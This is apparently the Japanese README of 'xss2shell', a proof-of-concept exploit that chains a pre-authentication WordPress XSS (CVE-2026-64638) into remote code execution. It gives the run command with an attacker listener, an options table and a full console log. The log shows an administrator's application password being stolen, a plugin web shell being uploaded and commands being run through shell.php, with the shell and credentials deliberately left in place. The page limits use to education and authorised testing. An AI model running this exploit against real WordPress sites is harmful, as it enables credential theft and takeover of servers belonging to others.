
WordPress 事前認証 XSS から RCE へのエクスプロイト PoC (xss2shell & CVE-2026-64638)
XSS2Shell は、CVE-2026-64638 の教育的な概念実証(PoC)であり、脆弱な WordPress インストールにおける事前認証 XSS 問題の影響を示すものです。管理者が明示的に参加することで、PoC は WordPress アプリケーションパスワードを取得し、一時ページを公開し、テストプラグインをアップロードし、生成されたシェルエンドポイントがコマンドを実行できるかどうかを確認します。
技術的背景: WordPress の事前認証 XSS から RCE へ: CVE-2026-64638
教育および許可を得たテストのみを対象としています。 このツールは、自分が所有する、または書面による評価の許可を得た WordPress サイトに対してのみ実行してください。第三者の管理者や本番システムを標的にしないでください。
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
| オプション | 必須 | 説明 |
|---|---|---|
-t, --target | 必須 | WordPress のベース URL。http:// または https:// を含む |
-c, --command | 必須 | シェルが利用可能になった後に実行するコマンド |
--lhost | 任意 | バインドおよび通知するリスナー IP。検出された LAN IP がデフォルト |
--lport | 任意 | リスナーポート。0 を指定するとランダムな空きポートが選択される |
--keep | 任意 | 一時ページを削除せず、公開した成果物を保持する |
ターゲット URL は自動的に正規化されるため、末尾のスラッシュは省略可能です。
/wp-login.php に到達可能であり、WordPress のログインページのように見えることを確認します。shell.php を検証し、要求されたコマンドを実行します。リスナーは管理者のブラウザから到達可能である必要があります。NAT、ファイアウォール、プロキシ、ポップアップブロック、および混在コンテンツのルールによって、ブラウザフローが完了しない場合があります。
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
実行に成功すると、取得したアプリケーションパスワードが xss2shell_creds.json に保存され、後続の実行で再利用できます。一時的に公開されたページは、--keep が指定されない限り、コマンド実行後に自動的に削除されます。
現在の PoC では、テストプラグイン、シェルエンドポイント、アプリケーションパスワード、および保存された認証情報は意図的に保持されます。許可を得た評価の後、テストサイトから手動で削除し、ローカルの xss2shell_creds.json も削除してください。
認証情報ファイルは機密情報として扱い、バージョン管理にコミットしないでください。
このリポジトリに含まれるライセンスを使用してください。
作成: WordSec